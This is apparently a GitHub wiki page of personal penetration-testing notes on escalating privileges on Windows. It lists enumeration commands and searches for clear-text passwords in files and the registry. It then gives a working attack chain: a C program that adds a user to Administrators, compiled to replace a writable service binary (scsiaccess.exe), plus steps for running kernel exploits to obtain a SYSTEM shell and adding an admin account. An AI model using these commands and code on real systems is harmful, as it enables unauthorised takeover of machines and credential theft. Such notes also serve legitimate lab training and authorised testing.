Skip to content

Privilege Escalation in Windows

lethanhtung01011980 edited this page Apr 11, 2020 · 32 revisions

Goal:

Tool to check Windows vulnerability

Refences

Get more info after getting low-privilege shell

  • Get OS: systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
  • Get OS 32 or 64 bit: set pro <========== Frequently used.
  • Get hostname: hostname
  • Get username (Not working?): echo %username%
  • Get all users: net users
  • Get a user: net user [username]
  • Get interfaces: ipconfig /all
  • Get routes: route print
  • Get ARP: arp -A
  • Get active connection: netstat -ano
  • (For WinXP SP2++) Get firewall rules: netsh firewall show state
  • (For WinXP SP2++) Get firewall config: netsh firewall show config
  • Get scheduled tasks: schtasks /query /fo LIST /v <================== FREQUENTLY USE
  • Get processes linking to sevices: tasklist /SVC <================== FREQUENTLY USE
  • Get started services: net start
  • (For Win7 and 8 with normal user) Get Windows WMIC Command Line: wmic /?
  • (For Win7 and 8 with normal user) Get Hotfix from WMIC: wmic qfe get Caption,Description,HotFixID,InstalledOn
  • (For Win7 and 8 with normal user) Get current Patches from WMIC: wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB.." /C:"KB.."

Search these files for clear-text passwords (or search the whole OS)

  • c:\sysprep.inf
  • c:\sysprep\sysprep.xml
  • %WINDIR%\Panther\Unattend\Unattended.xml
  • %WINDIR%\Panther\Unattended.xml

Search for passwords

  • Search for filenames: dir /s *pass* == *cred* == *vnc* == *.config*
  • Search for keywords in files: findstr /si password *.xml *.ini *.txt
  • Search for keywords in registry HKLM : reg query HKLM /f password /t REG_SZ /s
  • Search for keywords in registry HKCU: reg query HKCU /f password /t REG_SZ /s

Exploit file with insecure permission

Check scheduled tasks and running processes and get related executing files.

  • icacls C:\Windows\Tasks
  • Get scheduled tasks: schtasks /query /fo LIST /v <================== FREQUENTLY USE
  • Get processes linking to sevices: tasklist /SVC <================== FREQUENTLY USE

Check the file permission executing files. Look for EVERYONE - Full permission

  • WinXP and lower: use cacls

  • New Windows: Use icacls.

  • c:\Program Files\Photodex\ProShow Producer>icacls scsiaccess.exe

  • scsiaccess.exe NT AUTHORITY\SYSTEM:(I)(F)

  • BUILTIN\Administrators:(I)(F)

  • BUILTIN\Users:(I)(RX)

  • APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)

  • Everyone:(I)(F)

Create a useradd program to add a user "low" to Administrators

  • root@kali:~# cat useradd.c
  • #include <stdlib.h> /* system, NULL, EXIT_FAILURE */
  • int main ()
  • {
  • int i;
  • i=system ("net localgroup administrators low /add");
  • return 0;
  • }

Compile useradd.c to unsecure permission file to run in Windows

  • Windows 64-bit target: root@kali:~# i686-w64-mingw32-gcc -o scsiaccess.exe useradd.c
  • Windows 32-bit target: i686-w64-mingw32-gcc -o scsiaccess.exe useradd.c -lws2_32

Replace the original scsiaccess.exe with evil scsiaccess.exe

Wail for scsiaccess.exe to be executed.

Use Kernel exploit

Check https://www.exploit-db.com. Normally the scripts are in python.

  • Eg.: Windows 7 Sp1 escalation

OR Scan for vulnerable exploits with nmap

  • nmap --script exploit -Pn $ip

In Windows, convert python file to Windows exe

  • python pyinstaller.py --onefile ms11-080.py

OR in Linux, convert python file to Windows exe

Copy the above exe to victim machine.

Execute the exe as low priviledged user to get SYSTEM shell.

Add new admin user

  • net user newuser newpass /add

Sidebar

0. COMMON exploits

1. Scan Info

1.2 Passive Gathering

1.3 Active Gathering

2. Pre-attack

2.2 File transfer

3. Get Reverse Shell

4. Exploits

4.2 Windows Exploits

4.3 Linux Exploits

4.4 Password crack

4.5 Buffer Overflow

4.6 Web attacks

6. Escalate Privilege

6.1 Escalate in Windows

6.2 Escalate in Linux

7. Access and further attacks

8. Port redirection and Tunnelling

9. Metasploit

10. Kali

11. Thirdparty scripts

Clone this wiki locally